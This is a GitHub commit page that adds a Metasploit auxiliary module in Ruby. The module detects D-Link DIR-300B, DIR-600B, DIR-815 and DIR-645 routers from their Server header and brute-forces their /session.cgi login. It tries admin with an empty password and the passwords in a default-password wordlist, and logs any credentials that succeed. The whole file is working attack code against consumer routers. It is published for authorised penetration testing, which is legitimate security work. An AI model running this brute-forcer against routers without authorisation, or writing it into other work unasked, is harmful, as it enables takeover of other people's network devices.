Skip to content

Commit 6ec6638

Browse files
author
jvazquez-r7
committed
Merge branch 'dlink_login_dir_300B_600B' of https://github.com/m-1-k-3/metasploit-framework into m-1-k-3-dlink_login_dir_300B_600B
2 parents 498a0dc + 7b4cdf4 commit 6ec6638

File tree

1 file changed

+148
-0
lines changed

1 file changed

+148
-0
lines changed
Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
9+
require 'msf/core'
10+
require 'rex/proto/ntlm/message'
11+
12+
13+
class Metasploit3 < Msf::Auxiliary
14+
15+
include Msf::Exploit::Remote::HttpClient
16+
include Msf::Auxiliary::Report
17+
include Msf::Auxiliary::AuthBrute
18+
19+
include Msf::Auxiliary::Scanner
20+
21+
def initialize
22+
super(
23+
'Name' => 'DLink DIR-300B / DIR-600B / DIR-815 / DIR-645 HTTP Login Utility',
24+
'Description' => %q{
25+
This module attempts to authenticate to different DLink HTTP management services.
26+
Tested devices: D-Link DIR-300 Hardware revision B, D-Link DIR-600 Hardware revision B,
27+
D-Link DIR-815 Hardware revision A and DIR-645 Hardware revision A.
28+
It is possible that this module also works with other models.
29+
},
30+
'Author' => [
31+
'hdm', #http_login module
32+
'Michael Messner <[email protected]>' #dlink login included
33+
],
34+
'References' =>
35+
[
36+
[ 'CVE', '1999-0502'] # Weak password
37+
],
38+
'License' => MSF_LICENSE
39+
)
40+
41+
register_options(
42+
[
43+
OptString.new('USERNAME', [ false, "Username for authentication (default: admin)","admin" ]),
44+
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
45+
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ]),
46+
], self.class)
47+
end
48+
49+
def target_url
50+
proto = "http"
51+
if rport == 443 or ssl
52+
proto = "https"
53+
end
54+
"#{proto}://#{rhost}:#{rport}#{@uri.to_s}"
55+
end
56+
57+
def is_dlink?
58+
response = send_request_cgi({
59+
'uri' => @uri,
60+
'method' => 'GET'
61+
})
62+
63+
if response and response.headers['Server'] and response.headers['Server'] =~ /Linux,\ HTTP\/1.1,\ DIR-.*Ver\ .*/
64+
return true
65+
else
66+
return false
67+
end
68+
end
69+
70+
def run_host(ip)
71+
72+
@uri = "/session.cgi"
73+
74+
if is_dlink?
75+
vprint_good("#{target_url} - DLink device detected")
76+
else
77+
vprint_error("#{target_url} - Dlink device doesn't detected")
78+
return
79+
end
80+
81+
print_status("#{target_url} - Attempting to login")
82+
83+
each_user_pass { |user, pass|
84+
do_login(user, pass)
85+
}
86+
end
87+
88+
#default to user=admin without password (default on most dlink routers)
89+
def do_login(user='admin', pass='')
90+
vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'")
91+
92+
response = do_http_login(user,pass)
93+
result = determine_result(response)
94+
95+
if result == :success
96+
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
97+
98+
report_auth_info(
99+
:host => rhost,
100+
:port => rport,
101+
:sname => (ssl ? 'https' : 'http'),
102+
:user => user,
103+
:pass => pass,
104+
:proof => "WEBAPP=\"Dlink Management Interface\", PROOF=#{response.to_s}",
105+
:active => true
106+
)
107+
108+
return :next_user
109+
else
110+
vprint_error("#{target_url} - Failed to login as '#{user}'")
111+
return
112+
end
113+
end
114+
115+
def do_http_login(user,pass)
116+
begin
117+
response = send_request_cgi({
118+
'uri' => @uri,
119+
'method' => 'POST',
120+
'vars_post' => {
121+
"REPORT_METHOD" => "xml",
122+
"ACTION" => "login_plaintext",
123+
"USER" => user,
124+
"PASSWD" => pass,
125+
"CAPTCHA" => ""
126+
}
127+
})
128+
return if response.nil?
129+
return if (response.code == 404)
130+
131+
return response
132+
rescue ::Rex::ConnectionError
133+
vprint_error("#{target_url} - Failed to connect to the web server")
134+
return nil
135+
end
136+
end
137+
138+
def determine_result(response)
139+
return :abort if response.nil?
140+
return :abort unless response.kind_of? Rex::Proto::Http::Response
141+
return :abort unless response.code
142+
if response.body =~ /\<RESULT\>SUCCESS\<\/RESULT\>/
143+
return :success
144+
end
145+
return :fail
146+
end
147+
148+
end

0 commit comments

Comments
 (0)